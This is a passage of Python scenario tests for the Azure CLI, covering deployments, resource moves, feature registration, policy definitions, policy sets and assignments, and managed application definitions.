self.create_random_name('azure-cli-resource-group-deployment', 60), 'dn2': self.create_random_name('azure-cli-resource-group-deployment', 60), }) result = self.cmd('ts create -g {rg} -n {template_spec_name} -v 1.0 -l {resource_group_location} -f "{tf}"', checks=self.check('name', '1.0')).get_output_in_json() self.kwargs['template_spec_version_id'] = result['id'] self.cmd('deployment group validate --resource-group {rg} --template-spec "{template_spec_version_id}" --parameters @"{params}"', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) self.cmd('deployment group create --resource-group {rg} -n {dn} --template-spec "{template_spec_version_id}" --parameters @"{params}"', checks=[ self.check('properties.provisioningState', 'Succeeded'), ]) self.cmd('deployment group list --resource-group {rg}', checks=[ self.check('[0].name', '{dn}'), ]) self.cmd('deployment group list --resource-group {rg} --filter "provisioningState eq \'Succeeded\'"', checks=[ self.check('[0].name', '{dn}'), ]) self.cmd('deployment group show --resource-group {rg} -n {dn}', checks=[ self.check('name', '{dn}') ]) self.cmd('deployment group export --resource-group {rg} -n {dn}', checks=[ ]) self.cmd('deployment operation group list --resource-group {rg} -n {dn}', checks=[ self.check('length([])', 2) ]) self.cmd('deployment group create --resource-group {rg} -n {dn2} --template-spec "{template_spec_version_id}" --parameters @"{params}" --no-wait') self.cmd('deployment group cancel -n {dn2} -g {rg}') self.cmd('deployment group show -n {dn2} -g {rg}', checks=[ self.check('properties.provisioningState', 'Canceled') ]) class ResourceMoveScenarioTest(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_resource_move_dest', parameter_name='resource_group_dest', key='rg2') @ResourceGroupPreparer(name_prefix='cli_test_resource_move_source', key='rg1') def test_resource_move(self, resource_group, resource_group_dest): self.kwargs.update({ 'nsg1': self.create_random_name('nsg-move', 20), 'nsg2': self.create_random_name('nsg-move', 20) }) self.kwargs['nsg1_id'] = self.cmd('network nsg create -n {nsg1} -g {rg1}').get_output_in_json()['NewNSG']['id'] self.kwargs['nsg2_id'] = self.cmd('network nsg create -n {nsg2} -g {rg1}').get_output_in_json()['NewNSG']['id'] self.cmd('resource move --ids {nsg1_id} {nsg2_id} --destination-group {rg2}') self.cmd('network nsg show -g {rg2} -n {nsg1}', checks=[ self.check('name', '{nsg1}')]) self.cmd('network nsg show -g {rg2} -n {nsg2}', checks=[ self.check('name', '{nsg2}')]) class FeatureScenarioTest(ScenarioTest): @AllowLargeResponse(8192) def test_feature_list(self): self.cmd('feature list', checks=self.check("length([?name=='Microsoft.Xrm/uxdevelopment'])", 1)) self.cmd('feature list --namespace Microsoft.Network', checks=self.check("length([?name=='Microsoft.Network/SkipPseudoVipGeneration'])", 1)) # Once a feature goes GA , it will be removed from the feature list. Once that happens, use other ones to test self.cmd('feature show --namespace Microsoft.Network -n AllowLBPreview') @AllowLargeResponse(8192) def test_feature_unregister(self): self.cmd('feature unregister --namespace Microsoft.Network --name AllowLBPreview', checks=[ self.check_pattern('properties.state', 'Unregistering|Unregistered') ]) class PolicyScenarioTest(ScenarioTest): def cmdstring(self, basic, management_group=None, subscription=None): cmd = basic if (management_group): cmd = cmd + ' --management-group {mg}' if (subscription): cmd = cmd + ' --subscription {sub}' return cmd def applyPolicy(self): # create a policy assignment on a resource group self.kwargs.update({ 'pan': self.create_random_name('azurecli-test-policy-assignment', 40), 'padn': self.create_random_name('test_assignment', 20) }) self.cmd('policy assignment create --policy {pn} -n {pan} --display-name {padn} -g {rg} --params "{params}"', checks=[ self.check('name', '{pan}'), self.check('displayName', '{padn}'), self.check('sku.name', 'A0'), self.check('sku.tier', 'Free') ]) # create a policy assignment with not scopes and standard sku self.kwargs.update({ 'vnet': self.create_random_name('azurecli-test-policy-vnet', 40), 'subnet': self.create_random_name('azurecli-test-policy-subnet', 40), 'sub': self.get_subscription_id() }) self.cmd('network vnet create -g {rg} -n {vnet} --subnet-name {subnet}') self.kwargs['notscope'] = '/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Network/virtualNetworks'.format(**self.kwargs) self.cmd('policy assignment create --policy {pn} -n {pan} --display-name {padn} -g {rg} --not-scopes {notscope} --params "{params}" --sku standard', checks=[ self.check('name', '{pan}'), self.check('displayName', '{padn}'), self.check('sku.name', 'A1'), self.check('sku.tier', 'Standard'), self.check('notScopes[0]', '{notscope}') ]) # create a policy assignment using a built in policy definition name self.kwargs['pan2'] = self.create_random_name('azurecli-test-policy-assignment2', 40) self.kwargs['bip'] = '06a78e20-9358-41c9-923c-fb736d382a4d' self.cmd('policy assignment create --policy {bip} -n {pan2} --display-name {padn} -g {rg}', checks=[ self.check('name', '{pan2}'), self.check('displayName', '{padn}') ]) self.cmd('policy assignment delete -n {pan2} -g {rg}') # listing at subscription level won't find the assignment made at a resource group import jmespath try: self.cmd('policy assignment list', checks=self.check("length([?name=='{pan}'])", 0)) except jmespath.exceptions.JMESPathTypeError: # ok if query fails on None result pass # but enable --show-all works self.cmd('policy assignment list --disable-scope-strict-match', checks=self.check("length([?name=='{pan}'])", 1)) # delete the assignment and validate it's gone self.cmd('policy assignment delete -n {pan} -g {rg}') self.cmd('policy assignment list --disable-scope-strict-match', checks=self.check("length([?name=='{pan}'])", 0)) def applyPolicyAtScope(self, scope, policyId, enforcementMode='Default'): # create a policy assignment at the given scope self.kwargs.update({ 'pol': policyId, 'pan': self.create_random_name('cli-test-polassg', 24), # limit is 24 characters at MG scope 'padn': self.create_random_name('test_assignment', 20), 'scope': scope, 'em': enforcementMode }) self.cmd('policy assignment create --policy {pol} -n {pan} --display-name {padn} --params "{params}" --scope {scope} --enforcement-mode {em}', checks=[ self.check('name', '{pan}'), self.check('displayName', '{padn}'), self.check('sku.name', 'A0'), self.check('sku.tier', 'Free'), self.check('enforcementMode', '{em}') ]) # ensure the policy assignment shows up in the list result self.cmd('policy assignment list --scope {scope}', checks=self.check("length([?name=='{pan}'])", 1)) # delete the assignment and validate it's gone self.cmd('policy assignment delete -n {pan} --scope {scope}') self.cmd('policy assignment list --disable-scope-strict-match', checks=self.check("length([?name=='{pan}'])", 0)) def resource_policy_operations(self, resource_group, management_group=None, subscription=None): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'pn': self.create_random_name('azure-cli-test-policy', 30), 'pdn': self.create_random_name('test_policy', 20), 'desc': 'desc_for_test_policy_123', 'rf': os.path.join(curr_dir, 'sample_policy_rule.json').replace('\\', '\\\\'), 'pdf': os.path.join(curr_dir, 'sample_policy_param_def.json').replace('\\', '\\\\'), 'params': os.path.join(curr_dir, 'sample_policy_param.json').replace('\\', '\\\\'), 'mode': 'Indexed', 'metadata': 'test', 'updated_metadata': 'test2', }) if (management_group): self.kwargs.update({'mg': management_group}) if (subscription): self.kwargs.update({'sub': subscription}) # create a policy cmd = self.cmdstring('policy definition create -n {pn} --rules "{rf}" --params "{pdf}" --display-name {pdn} --description {desc} --mode {mode} --metadata category={metadata}', management_group, subscription) self.cmd(cmd, checks=[ self.check('name', '{pn}'), self.check('displayName', '{pdn}'), self.check('description', '{desc}'), self.check('mode', '{mode}'), self.check('metadata.category', '{metadata}') ]) # update it self.kwargs['desc'] = self.kwargs['desc'] + '_new' self.kwargs['pdn'] = self.kwargs['pdn'] + '_new' cmd = self.cmdstring('policy definition update -n {pn} --description {desc} --display-name {pdn} --metadata category={updated_metadata}', management_group, subscription) self.cmd(cmd, checks=[ self.check('description', '{desc}'), self.check('displayName', '{pdn}'), self.check('metadata.category', '{updated_metadata}') ]) # update it with new parameters and a new rule self.kwargs['pdf'] = os.path.join(curr_dir, 'sample_policy_param_def_2.json').replace('\\', '\\\\') self.kwargs['rf'] = os.path.join(curr_dir, 'sample_policy_rule_2.json').replace('\\', '\\\\') cmd = self.cmdstring('policy definition update -n {pn} --description {desc} --display-name {pdn} --metadata category=test2 --params "{pdf}" --rules "{rf}"', management_group, subscription) self.cmd(cmd, checks=[ self.check('description', '{desc}'), self.check('displayName', '{pdn}'), self.check('metadata.category', '{updated_metadata}'), self.check('parameters.allowedLocations.metadata.displayName', 'Allowed locations 2'), self.check('policyRule.then.effect', 'audit') ]) # list and show it cmd = self.cmdstring('policy definition list', management_group, subscription) self.cmd(cmd, checks=self.check("length([?name=='{pn}'])", 1)) cmd = self.cmdstring('policy definition show -n {pn}', management_group, subscription) self.cmd(cmd, checks=[ self.check('name', '{pn}'), self.check('displayName', '{pdn}') ]) # apply assignments if management_group: scope = '/providers/Microsoft.Management/managementGroups/{mg}'.format(mg=management_group) policy = '{scope}/providers/Microsoft.Authorization/policyDefinitions/{pn}'.format(pn=self.kwargs['pn'], scope=scope) self.applyPolicyAtScope(scope, policy) elif subscription: policy = '/subscriptions/{sub}/providers/Microsoft.Authorization/policyDefinitions/{pn}'.format(sub=subscription, pn=self.kwargs['pn']) self.applyPolicyAtScope('/subscriptions/{sub}'.format(sub=subscription), policy, 'DoNotEnforce') else: self.applyPolicy() # delete the policy cmd = self.cmdstring('policy definition delete -n {pn}', management_group, subscription) self.cmd(cmd) time.sleep(10) # ensure the policy is gone when run live. cmd = self.cmdstring('policy definition list', management_group, subscription) self.cmd(cmd, checks=self.check("length([?name=='{pn}'])", 0)) def resource_policyset_operations(self, resource_group, management_group=None, subscription=None): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'pn': self.create_random_name('azure-cli-test-policy', 30), 'pdn': self.create_random_name('test_policy', 20), 'desc': 'desc_for_test_policy_123', 'dpn': self.create_random_name('azure-cli-test-data-policy', 30), 'dpdn': self.create_random_name('test_data_policy', 20), 'dp_desc': 'desc_for_test_data_policy_123', 'dp_mode': 'Microsoft.DataCatalog.Data', 'psn': self.create_random_name('azure-cli-test-policyset', 30), 'psdn': self.create_random_name('test_policyset', 20), 'ps_desc': 'desc_for_test_policyset_123', 'rf': os.path.join(curr_dir, 'sample_policy_rule.json').replace('\\', '\\\\'), 'dprf': os.path.join(curr_dir, 'sample_data_policy_rule.json').replace('\\', '\\\\'), 'psf': os.path.join(curr_dir, 'sample_policy_set.json').replace('\\', '\\\\'), 'pdf': os.path.join(curr_dir, 'sample_policy_param_def.json').replace('\\', '\\\\'), 'metadata': 'test', 'updated_metadata': 'test2', }) if (management_group): self.kwargs.update({'mg': management_group}) if (subscription): self.kwargs.update({'sub': subscription}) time.sleep(60) # create a policy cmd = self.cmdstring('policy definition create -n {pn} --rules "{rf}" --params "{pdf}" --display-name {pdn} --description {desc}', management_group, subscription) policy = self.cmd(cmd).get_output_in_json() # create a data policy cmd = self.cmdstring('policy definition create -n {dpn} --rules "{dprf}" --mode {dp_mode} --display-name {dpdn} --description {dp_desc}', management_group, subscription) datapolicy = self.cmd(cmd).get_output_in_json() # create a policy set policyset = get_file_json(self.kwargs['psf']) policyset[0]['policyDefinitionId'] = policy['id'] policyset[1]['policyDefinitionId'] = datapolicy['id'] with open(os.path.join(curr_dir, 'sample_policy_set.json'), 'w') as outfile: json.dump(policyset, outfile) cmd = self.cmdstring('policy set-definition create -n {psn} --definitions @"{psf}" --display-name {psdn} --description {ps_desc} --metadata category={metadata}', management_group, subscription) self.cmd(cmd, checks=[ self.check('name', '{psn}'), self.check('displayName', '{psdn}'), self.check('description', '{ps_desc}'), self.check('metadata.category', '{metadata}') ]) # update it self.kwargs['ps_desc'] = self.kwargs['ps_desc'] + '_new' self.kwargs['psdn'] = self.kwargs['psdn'] + '_new' cmd = self.cmdstring('policy set-definition update -n {psn} --display-name {psdn} --description {ps_desc} --metadata category={updated_metadata}', management_group, subscription) self.cmd(cmd, checks=[ self.check('description', '{ps_desc}'), self.check('displayName', '{psdn}'), self.check('metadata.category', '{updated_metadata}') ]) # list and show it cmd = self.cmdstring('policy set-definition list', management_group, subscription) self.cmd(cmd, checks=self.check("length([?name=='{psn}'])", 1)) cmd = self.cmdstring('policy set-definition show -n {psn}', management_group, subscription) self.cmd(cmd, checks=[ self.check('name', '{psn}'), self.check('displayName', '{psdn}') ]) # create a policy assignment on a resource group if not management_group and not subscription: self.kwargs.update({ 'pan': self.create_random_name('azurecli-test-policy-assignment', 40), 'padn': self.create_random_name('test_assignment', 20) }) self.cmd('policy assignment create -d {psn} -n {pan} --display-name {padn} -g {rg}', checks=[ self.check('name', '{pan}'), self.check('displayName', '{padn}'), self.check('sku.name', 'A0'), self.check('sku.tier', 'Free'), ]) # ensure the assignment appears in the list results self.cmd('policy assignment list --resource-group {rg}', checks=self.check("length([?name=='{pan}'])", 1)) # delete the assignment and validate it's gone self.cmd('policy assignment delete -n {pan} -g {rg}') self.cmd('policy assignment list --disable-scope-strict-match', checks=self.check("length([?name=='{pan}'])", 0)) # delete the policy set cmd = self.cmdstring('policy set-definition delete -n {psn}', management_group, subscription) self.cmd(cmd) time.sleep(10) # ensure the policy is gone when run live. cmd = self.cmdstring('policy set-definition list', management_group, subscription) self.cmd(cmd, checks=self.check("length([?name=='{psn}'])", 0)) # create a parameterized policy set self.kwargs['psf'] = os.path.join(curr_dir, 'sample_policy_set_parameterized.json').replace('\\', '\\\\') policyset = get_file_json(self.kwargs['psf']) policyset[0]['policyDefinitionId'] = policy['id'] policyset[1]['policyDefinitionId'] = datapolicy['id'] with open(os.path.join(curr_dir, 'sample_policy_set_parameterized.json'), 'w') as outfile: json.dump(policyset, outfile) cmd = self.cmdstring('policy set-definition create -n {psn} --definitions @"{psf}" --display-name {psdn} --description {ps_desc} --params "{pdf}" --metadata category={updated_metadata}', management_group, subscription) self.cmd(cmd, checks=[ self.check('name', '{psn}'), self.check('displayName', '{psdn}'), self.check('description', '{ps_desc}'), self.check('policyDefinitions[0].parameters.allowedLocations.value', "[parameters('allowedLocations')]"), self.check('parameters.allowedLocations.type', 'Array'), self.check('metadata.category', '{updated_metadata}') ]) # update the parameters on the policy set self.kwargs['pdf'] = os.path.join(curr_dir, 'sample_policy_param_def_2.json').replace('\\', '\\\\') cmd = self.cmdstring('policy set-definition update -n {psn} --params "{pdf}" --metadata category={updated_metadata}', management_group, subscription) self.cmd(cmd, checks=[ self.check('parameters.allowedLocations.metadata.displayName', 'Allowed locations 2'), self.check('metadata.category', '{updated_metadata}') ]) # delete the parameterized policy set cmd = self.cmdstring('policy set-definition delete -n {psn}', management_group, subscription) self.cmd(cmd) time.sleep(10) # ensure the policy is gone when run live. cmd = self.cmdstring('policy set-definition list', management_group, subscription) self.cmd(cmd, checks=self.check("length([?name=='{psn}'])", 0)) # delete the policy cmd = self.cmdstring('policy definition delete -n {pn}', management_group, subscription) self.cmd(cmd) time.sleep(10) # delete the data policy cmd = self.cmdstring('policy definition delete -n {dpn}', management_group, subscription) self.cmd(cmd) time.sleep(10) # ensure the policy is gone when run live. cmd = self.cmdstring('policy definition list', management_group, subscription) self.cmd(cmd, checks=self.check("length([?name=='{pn}'])", 0)) self.cmd(cmd, checks=self.check("length([?name=='{dpn}'])", 0)) @ResourceGroupPreparer(name_prefix='cli_test_policy') @AllowLargeResponse(8192) def test_resource_policy_default(self, resource_group): self.resource_policy_operations(resource_group) @ResourceGroupPreparer(name_prefix='cli_test_policy_identity') @AllowLargeResponse(8192) def test_resource_policy_identity(self, resource_group, resource_group_location): self.kwargs.update({ 'pan': self.create_random_name('azurecli-test-policy-assignment', 40), 'bip': '06a78e20-9358-41c9-923c-fb736d382a4d', 'sub': self.get_subscription_id(), 'location': resource_group_location, 'em': 'DoNotEnforce' }) with self.assertRaises(IncorrectUsageError): self.cmd('policy assignment create --policy \'test/error_policy\' -n {pan} -g {rg} --location {location} --assign-identity --enforcement-mode {em}') # create a policy assignment with managed identity using a built in policy definition assignmentIdentity = self.cmd('policy assignment create --policy {bip} -n {pan} -g {rg} --location {location} --assign-identity --enforcement-mode {em}', checks=[ self.check('name', '{pan}'), self.check('location', '{location}'), self.check('identity.type', 'SystemAssigned'), self.exists('identity.principalId'), self.exists('identity.tenantId') ]).get_output_in_json()['identity'] # ensure managed identity details are retrievable directly through 'policy assignment identity' commands self.cmd('policy assignment identity show -n {pan} -g {rg}', checks=[ self.check('type', assignmentIdentity['type']), self.check('principalId', assignmentIdentity['principalId']), self.check('tenantId', assignmentIdentity['tenantId']) ]) # remove the managed identity and ensure it is removed when retrieving the policy assignment self.cmd('policy assignment identity remove -n {pan} -g {rg}', checks=[ self.check('type', 'None') ]) self.cmd('policy assignment show -n {pan} -g {rg}', checks=[ self.check('name', '{pan}'), self.check('identity.type', 'None') ]) # add an identity using 'identity assign' self.cmd('policy assignment identity assign -n {pan} -g {rg}', checks=[ self.check('type', 'SystemAssigned'), self.exists('principalId'), self.exists('tenantId') ]) self.cmd('policy assignment show -n {pan} -g {rg}', checks=[ self.check('name', '{pan}'), self.check('identity.type', 'SystemAssigned'), self.exists('identity.principalId'), self.exists('identity.tenantId') ]) self.cmd('policy assignment identity remove -n {pan} -g {rg}', checks=[ self.check('type', 'None') ]) # create a role assignment for the identity using --assign-identity self.kwargs.update({ 'idScope': '/subscriptions/{sub}/resourceGroups/{rg}'.format(**self.kwargs), 'idRole': 'Reader' }) with mock.patch('azure.cli.core.commands.arm._gen_guid', side_effect=self.create_guid): assignmentIdentity = self.cmd('policy assignment create --policy {bip} -n {pan} -g {rg} --location {location} --assign-identity --identity-scope {idScope} --role {idRole}', checks=[ self.check('name', '{pan}'), self.check('location', '{location}'), self.check('identity.type', 'SystemAssigned'), self.exists('identity.principalId'), self.exists('identity.tenantId') ]).get_output_in_json()['identity'] self.kwargs['principalId'] = assignmentIdentity['principalId'] self.cmd('role assignment list --resource-group {rg} --role {idRole}', checks=[ self.check("length([?principalId == '{principalId}'])", 1), self.check("[?principalId == '{principalId}'].roleDefinitionName | [0]", '{idRole}') ]) self.cmd('policy assignment identity remove -n {pan} -g {rg}', checks=[ self.check('type', 'None') ]) # create a role assignment for the identity using 'identity assign' with mock.patch('azure.cli.core.commands.arm._gen_guid', side_effect=self.create_guid): assignmentIdentity = self.cmd('policy assignment identity assign -n {pan} -g {rg} --identity-scope {idScope} --role {idRole}', checks=[ self.check('type', 'SystemAssigned'), self.exists('principalId'), self.exists('tenantId') ]).get_output_in_json() self.kwargs['principalId'] = assignmentIdentity['principalId'] self.cmd('role assignment list --resource-group {rg} --role {idRole}', checks=[ self.check("length([?principalId == '{principalId}'])", 1), self.check("[?principalId == '{principalId}'].roleDefinitionName | [0]", '{idRole}') ]) self.cmd('policy assignment delete -n {pan} -g {rg}') @ResourceGroupPreparer(name_prefix='cli_test_policy_management_group') @AllowLargeResponse(4096) def test_resource_policy_management_group(self, resource_group): management_group_name = self.create_random_name('cli-test-mgmt-group', 30) self.cmd('account management-group create -n ' + management_group_name) try: self.resource_policy_operations(resource_group, management_group_name) # Attempt to get a policy definition at an invalid management group scope with self.assertRaises(SystemExit): self.cmd(self.cmdstring('policy definition show -n "/providers/microsoft.management/managementgroups/myMg/providers/microsoft.authorization/missingsegment"')) finally: self.cmd('account management-group delete -n ' + management_group_name) @record_only() @unittest.skip('mock doesnt work when the subscription comes from --scope') @ResourceGroupPreparer(name_prefix='cli_test_policy_subscription_id') @AllowLargeResponse() def test_resource_policy_subscription_id(self, resource_group): # under playback, we mock it so the subscription id will be '00000000...' and it will match # the same sanitized value in the recording if not self.in_recording: with mock.patch('azure.cli.command_modules.resource.custom._get_subscription_id_from_subscription', return_value=MOCKED_SUBSCRIPTION_ID): self.resource_policy_operations(resource_group, None, 'f67cc918-f64f-4c3f-aa24-a855465f9d41') else: self.resource_policy_operations(resource_group, None, 'f67cc918-f64f-4c3f-aa24-a855465f9d41') @ResourceGroupPreparer(name_prefix='cli_test_policyset') @AllowLargeResponse(4096) def test_resource_policyset_default(self, resource_group): self.resource_policyset_operations(resource_group) @ResourceGroupPreparer(name_prefix='cli_test_policyset_management_group') @AllowLargeResponse(4096) def test_resource_policyset_management_group(self, resource_group): management_group_name = self.create_random_name('cli-test-mgmt-group', 30) self.cmd('account management-group create -n ' + management_group_name) try: self.resource_policyset_operations(resource_group, management_group_name) finally: self.cmd('account management-group delete -n ' + management_group_name) @record_only() @ResourceGroupPreparer(name_prefix='cli_test_policyset_subscription_id') @AllowLargeResponse(4096) def test_resource_policyset_subscription_id(self, resource_group): # under playback, we mock it so the subscription id will be '00000000...' and it will match # the same sanitized value in the recording if not self.in_recording: with mock.patch('azure.cli.command_modules.resource.custom._get_subscription_id_from_subscription', return_value=MOCKED_SUBSCRIPTION_ID): self.resource_policyset_operations(resource_group, None, '0b1f6471-1bf0-4dda-aec3-cb9272f09590') else: self.resource_policyset_operations(resource_group, None, '0b1f6471-1bf0-4dda-aec3-cb9272f09590') @ResourceGroupPreparer(name_prefix='cli_test_policyset_grouping') @AllowLargeResponse(4096) def test_resource_policyset_grouping(self, resource_group): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'pn': self.create_random_name('azure-cli-test-policy', 30), 'pdn': self.create_random_name('test_policy', 20), 'psn': self.create_random_name('azure-cli-test-policyset', 30), 'psdn': self.create_random_name('test_policyset', 20), 'rf': os.path.join(curr_dir, 'sample_policy_rule.json').replace('\\', '\\\\'), 'psf': os.path.join(curr_dir, 'sample_policy_set_grouping.json').replace('\\', '\\\\'), 'pgf': os.path.join(curr_dir, 'sample_policy_groups_def.json').replace('\\', '\\\\'), 'pgf2': os.path.join(curr_dir, 'sample_policy_groups_def2.json').replace('\\', '\\\\'), 'pdf': os.path.join(curr_dir, 'sample_policy_param_def.json').replace('\\', '\\\\') }) # create a policy policy = self.cmd('policy definition create -n {pn} --rules "{rf}" --params "{pdf}" --display-name {pdn}').get_output_in_json() # create a policy set policyset = get_file_json(self.kwargs['psf']) policyset[0]['policyDefinitionId'] = policy['id'] policyset[1]['policyDefinitionId'] = policy['id'] with open(os.path.join(curr_dir, 'sample_policy_set_grouping.json'), 'w') as outfile: json.dump(policyset, outfile) self.cmd('policy set-definition create -n {psn} --definitions @"{psf}" --display-name {psdn} --definition-groups @"{pgf}"', checks=[ self.check('name', '{psn}'), self.check('displayName', '{psdn}'), self.check('length(policyDefinitionGroups)', 2), self.check("length(policyDefinitionGroups[?name=='group1'])", 1), self.check("length(policyDefinitionGroups[?name=='group2'])", 1), self.check('length(policyDefinitions[0].groupNames)', 2), self.check('length(policyDefinitions[1].groupNames)', 1) ]) # update the groups groups = get_file_json(self.kwargs['pgf']) groups[0]['displayName'] = "Updated display name" with open(os.path.join(curr_dir, 'sample_policy_groups_def2.json'), 'w') as outfile: json.dump(groups, outfile) self.cmd('policy set-definition update -n {psn} --definition-groups @"{pgf2}"', checks=[ self.check('length(policyDefinitionGroups)', 2), self.check("length(policyDefinitionGroups[?name=='group1'])", 1), self.check("length(policyDefinitionGroups[?name=='group2'])", 1), self.check("length(policyDefinitionGroups[?displayName=='Updated display name\'])", 1) ]) # show it self.cmd('policy set-definition show -n {psn}', checks=self.check('length(policyDefinitionGroups)', 2)) # delete the policy set self.cmd('policy set-definition delete -n {psn}') time.sleep(10) # ensure the policy is gone when run live. self.cmd('policy set-definition list', checks=self.check("length([?name=='{psn}'])", 0)) # delete the policy self.cmd('policy definition delete -n {pn}') @AllowLargeResponse(8192) def test_show_built_in_policy(self): # get the list of builtins, then retrieve each via show and validate the results match results = self.cmd('policy definition list --query "[?policyType==\'BuiltIn\']"').get_output_in_json() for i, result in enumerate(results): self.kwargs['pn'] = result['name'] self.kwargs['dn'] = result['displayName'] self.kwargs['desc'] = result['description'] self.kwargs['id'] = result['id'] self.cmd('policy definition show -n {pn}', checks=[ self.check('name', '{pn}'), self.check('description', '{desc}'), self.check('displayName', '{dn}'), self.check('id', '{id}') ]) # Because the policy assignment name is generated randomly and automatically, the value of each run is different, # so it cannot be rerecord. @ResourceGroupPreparer(name_prefix='cli_test_resource_create_policy_assignment_random') @AllowLargeResponse(4096) @live_only() def test_resource_create_policy_assignment_random(self, resource_group, management_group=None, subscription=None): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'pn': self.create_random_name('azure-cli-test-policy', 30), 'rf': os.path.join(curr_dir, 'sample_policy_rule.json').replace('\\', '\\\\'), 'pdf': os.path.join(curr_dir, 'sample_policy_param_def.json').replace('\\', '\\\\'), 'pdn': self.create_random_name('test_policy', 20), 'desc': 'desc_for_test_policy_123', 'padn': self.create_random_name('test_assignment', 20), 'params': os.path.join(curr_dir, 'sample_policy_param.json').replace('\\', '\\\\') }) self.cmd('policy definition create -n {pn} --rules "{rf}" --params "{pdf}" --display-name {pdn} --description {desc}', management_group, subscription) self.kwargs['pan_random'] = self.cmd('policy assignment create --policy {pn} --display-name {padn} -g {rg} --params "{params}"', checks=[ self.check('displayName', '{padn}'), self.check('sku.name', 'A0'), self.check('sku.tier', 'Free'), ]).get_output_in_json()['name'] # clean policy assignment and policy self.cmd('policy assignment delete -n {pan_random} -g {rg}') self.cmd('policy assignment list --disable-scope-strict-match', checks=self.check("length([?name=='{pan_random}'])", 0)) cmd = self.cmdstring('policy definition delete -n {pn}', management_group, subscription) self.cmd(cmd) time.sleep(10) cmd = self.cmdstring('policy definition list', management_group, subscription) self.cmd(cmd, checks=self.check("length([?name=='{pn}'])", 0)) class ManagedAppDefinitionScenarioTest(ScenarioTest): @AllowLargeResponse() @ResourceGroupPreparer() def test_managedappdef(self, resource_group): self.kwargs.update({ 'upn': self.create_random_name('testuser', 15) + '@azuresdkteam.onmicrosoft.com', 'sub': self.get_subscription_id() }) user_principal = self.cmd( 'ad user create --display-name tester123 --password Test123456789 --user-principal-name {upn}').get_output_in_json() time.sleep(15) # By-design, it takes some time for RBAC system propagated with graph object change principal_id = user_principal['objectId'] with mock.patch('azure.cli.command_modules.role.custom._gen_guid', side_effect=self.create_guid): role_assignment = self.cmd( 'role assignment create --assignee {upn} --role contributor --scope "/subscriptions/{sub}" ').get_output_in_json() from msrestazure.tools import parse_resource_id role_definition_id = parse_resource_id(role_assignment['roleDefinitionId'])['name'] self.kwargs.update({ 'loc': 'eastus', 'adn': self.create_random_name('testappdefname', 20), 'addn': self.create_random_name('test_appdef', 20), 'ad_desc': 'test_appdef_123', 'uri': 'https://raw.githubusercontent.com/Azure/azure-managedapp-samples/master/Managed%20Application%20Sample%20Packages/201-managed-storage-account/managedstorage.zip', 'auth': principal_id + ':' + role_definition_id, 'lock': 'None' }) # create a managedapp definition self.kwargs['ad_id'] = self.cmd('managedapp definition create -n {adn} --package-file-uri {uri} --display-name {addn} --description {ad_desc} -l {loc} -a {auth} --lock-level {lock} -g {rg}', checks=[ self.check('name', '{adn}'), self.check('displayName', '{addn}'), self.check('description', '{ad_desc}'), self.check('authorizations[0].principalId', principal_id), self.check('authorizations[0].roleDefinitionId', role_definition_id), self.check('artifacts[0].name', 'ApplicationResourceTemplate'), self.check('artifacts[0].type', 'Template'), self.check('artifacts[1].name', 'CreateUiDefinition'), self.check('artifacts[1].type', 'Custom') ]).get_output_in_json()['id'] self.cmd('managedapp definition list -g {rg}', checks=self.check('[0].name', '{adn}')) self.cmd('managedapp definition show --ids {ad_id}', checks=[ self.check('name', '{adn}'), self.check('displayName', '{addn}'), self.check('description', '{ad_desc}'), self.check('authorizations[0].principalId', principal_id), self.check('authorizations[0].roleDefinitionId', role_definition_id), self.check('artifacts[0].name', 'ApplicationResourceTemplate'), self.check('artifacts[0].type', 'Template'), self.check('artifacts[1].name', 'CreateUiDefinition'), self.check('artifacts[1].type', 'Custom') ]) self.cmd('managedapp definition delete -g {rg} -n {adn}') self.cmd('managedapp definition list -g {rg}', checks=self.is_empty()) self.cmd('role assignment delete --assignee {upn} --role contributor ') self.cmd('ad user delete --upn-or-object-id {upn}') @AllowLargeResponse() @ResourceGroupPreparer() def test_managedappdef_inline(self, resource_group): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'upn': self.create_random_name('testuser', 15) + '@azuresdkteam.onmicrosoft.com', 'sub': self.get_subscription_id() }) user_principal = self.cmd( 'ad user create --display-name tester123 --password Test123456789 --user-principal-name {upn}').get_output_in_json() time.sleep(15) # By-design, it takes some time for RBAC system propagated with graph object change principal_id = user_principal['objectId'] with mock.patch('azure.cli.command_modules.role.custom._gen_guid', side_effect=self.create_guid): role_assignment = self.cmd( 'role assignment create --assignee {upn} --role contributor --scope "/subscriptions/{sub}" ').get_output_in_json() from msrestazure.tools import parse_resource_id role_definition_id = parse_resource_id(role_assignment['roleDefinitionId'])['name'] self.kwargs.update({ 'loc': 'eastus', 'adn': self.create_random_name('testappdefname', 20), 'addn': self.create_random_name('test_appdef', 20), 'ad_desc': 'test_appdef_123', 'auth': principal_id + ':' + role_definition_id, 'lock': 'None', 'ui_file': os.path.join(curr_dir, 'sample_create_ui_definition.json').replace('\\', '\\\\'), 'main_file': os.path.join(curr_dir, 'sample_main_template.json').replace('\\', '\\\\') }) # create a managedapp definition with inline params for create-ui-definition and main-template self.kwargs['ad_id'] = self.cmd('managedapp definition create -n {adn} --create-ui-definition @"{ui_file}" --main-template @"{main_file}" --display-name {addn} --description {ad_desc} -l {loc} -a {auth} --lock-level {lock} -g {rg}', checks=[ self.check('name', '{adn}'), self.check('displayName', '{addn}'), self.check('description', '{ad_desc}'), self.check('authorizations[0].principalId', principal_id), self.check('authorizations[0].roleDefinitionId', role_definition_id), self.check('artifacts[0].name', 'ApplicationResourceTemplate'), self.check('artifacts[0].type', 'Template'), self.check('artifacts[1].name', 'CreateUiDefinition'), self.check('artifacts[1].type', 'Custom') ]).get_output_in_json()['id'] self.cmd('managedapp definition list -g {rg}', checks=self.check('[0].name', '{adn}')) self.cmd('managedapp definition show --ids {ad_id}', checks=[ self.check('name', '{adn}'), self.check('displayName', '{addn}'), self.check('description', '{ad_desc}'), self.check('authorizations[0].principalId', principal_id), self.check('authorizations[0].roleDefinitionId', role_definition_id), self.check('artifacts[0].name', 'ApplicationResourceTemplate'), self.check('artifacts[0].type', 'Template'), self.check('artifacts[1].name', 'CreateUiDefinition'), 